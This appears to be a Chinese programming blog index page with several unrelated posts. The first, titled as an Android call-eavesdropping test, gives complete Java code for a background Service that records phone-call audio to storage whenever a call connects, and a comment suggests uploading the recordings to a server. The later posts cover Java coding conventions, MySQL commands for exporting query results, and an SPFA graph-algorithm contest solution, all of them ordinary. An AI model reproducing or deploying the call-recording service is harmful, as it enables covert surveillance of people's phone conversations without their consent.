安卓通话窃听测试

1.新建类PhonelistenService继承自Service类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package com.amy.phonelistener;  

import java.io.File;
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;

public class PhonelistenService extends Service {
private static String TAG = "PhonelistenService";
private TelephonyManager tm ;
private PhoneStateListener listener ;
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);//通过系统API拿到TelephonyManager
tm.listen(listener = new PhoneStateListener(){
private MediaRecorder recorder = null;


@Override
public void onCallStateChanged(int state, String incomingNumber) {
System.out.println("onCallStateChanged() InComeing:"+incomingNumber);
switch (state) {
case TelephonyManager.CALL_STATE_OFFHOOK://通话状态
//实例化录音机
recorder = new MediaRecorder();
//设置声音源
recorder.setAudioSource(MediaRecorder.AudioSource.VOICE_CALL);
//设置文件输出格式
recorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
//指定录音文件名称
File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis()+".mp3");
recorder.setOutputFile(file.getAbsolutePath());

//设置编码格式
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
try {
recorder.prepare();
} catch (Exception e) {
e.printStackTrace();
Log.i(TAG, "recorder 初始化失败");
}
recorder.start();
break;
case TelephonyManager.CALL_STATE_IDLE://一般状态
if(recorder != null){
recorder.stop();//停止录制
recorder.release();//释放资源
recorder = null;
Log.i(TAG, "录制完毕!上传至服务器");//在这里可以将你的录音文件上传在至你的服务器
}
break;
case TelephonyManager.CALL_STATE_RINGING://响铃状态
break;

default:
break;
}
super.onCallStateChanged(state, incomingNumber);
}
}, PhoneStateListener.LISTEN_CALL_STATE);
super.onCreate();
}
@Override
public void onDestroy() {
super.onDestroy();
}

}

Read More

java开发规范

java开发规范

  • POJO 类中布尔类型的变量,都不要加 is ,否则部分框架解析会引起序列化错误。假设定义一个 boolean 的 isSuccess 属性,它的方法 Getter 被 IDE 生成为 isSuccess() , RPC 等三方框架在反向解析的时候, “以为” 对应的属性名称是 success ,导致属性获取不到,进而抛出异常。这点也是笔者之前遇到过的,查了很久哪里的错最后发现是这个问题,不过经历一次后基本后面就能避免。

  • 接口类中的方法和属性不要加任何修饰符号。包括在一些开源的代码里,笔者也经常看见在接口方法上声明 public 关键字的,这是冗余的,在 Java 规范中提到过。关于代码的规范及简洁性诸位可以参考 《重构 改善既有代码的设计》 及 《代码整洁之道》。

  • 方法体内的执行语句组、变量的定义语句组、不同的业务逻辑之间或者不同的语义之间插入一个空行。相同业务逻辑和语义之间不需要插入空行。不过没有必要插入多行空格进行隔开。这样可读性会明显提高,笔者经常看到部分开发人员的代码在很长的代码块里完全没有一个空行,没有按逻辑进行换行,这种习惯是不太好的。

  • 所有的覆写方法,必须加 @Override 注解。这样 IDE 会检查合法性,有错误的话会及时提示。

Read More

mysql把结果输出到文件

基本语法:

1
select * from table_name into outfile "/home/alisa/result.txt"

如果是远程连接的话可以用mysql -e

1
mysql -uroot -proot -P3310 -h10.1.2.3 dbname -e "select * from rank" > /home/a.txt  

如果需要将所有输出都输出到指定文件就需要用tee命令:

1
2
3
mysql> tee /home/output.txt
mysql> select * from table;
mysql> exit

nyoj247 虚拟城市的旅行-SPFA算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#include <iostream>  
#include<queue>
#include<string.h>
#include<stdio.h>
#define max(a,b) (a>b?a:b)
#define min(a,b) (a<b?a:b)
using namespace std;
struct node{
int v;
node* next;
node(int vv){
v = vv;
next = NULL;
}
};
const int N = 100000+5;
node *t ;
void add(node** h,node* p){
t = *h;
*h = p;
p->next = t;
}
node* head1[N];
node* head2[N];
int a[N],b[N];
bool vis1[N];
bool vis2[N];
int spfa(int s,int n){
queue<int> q;
int v;
memset(vis1,false,sizeof(vis1));
vis1[s] = true;
q.push(s);
while(!q.empty()){
int x = q.front();q.pop();
for(node* p=head1[x];p;p=p->next){
v = p->v;
a[v]=min(a[v],a[x]);
if(!vis1[v]){
q.push(v);
vis1[v] = true;
}
}
}
memset(vis2,false,sizeof(vis2));
vis2[n] = true;
q.push(n);
while(!q.empty()){
int x = q.front();q.pop();
for(node* p=head2[x];p;p=p->next){
v = p->v;
b[v]=max(b[v],b[x]);
if(!vis2[v]){
q.push(v);
vis2[v] = true;
}
}
}
int ans =0;
for(int i=1;i<=n;i++){
// printf("a:%d b:%d\n",a[i],b[i]);
if(vis1[i] && vis2[i]) ans = max(ans,b[i]-a[i]);
}
return ans;

}
int main(int argc, char** argv) {
int n,m;
int u,v,c;
while(~scanf("%d%d",&n,&m)){
for(int i=1;i<=n;i++){
scanf("%d",&a[i]);
b[i] = a[i];//max is itself <span style="font-family: Arial, Helvetica, sans-serif;">default</span>

head1[i] = NULL;//scanf and init;
head2[i] = NULL;
}
while(m--){
scanf("%d%d%d",&u,&v,&c);
add(&head1[u],new node(v));
add(&head2[v],new node(u));//逆向
if(c==2){
add(&head1[v],new node(u));
add(&head2[u],new node(v));
}
}
printf("%d\n",spfa(1,n));
}
return 0;
}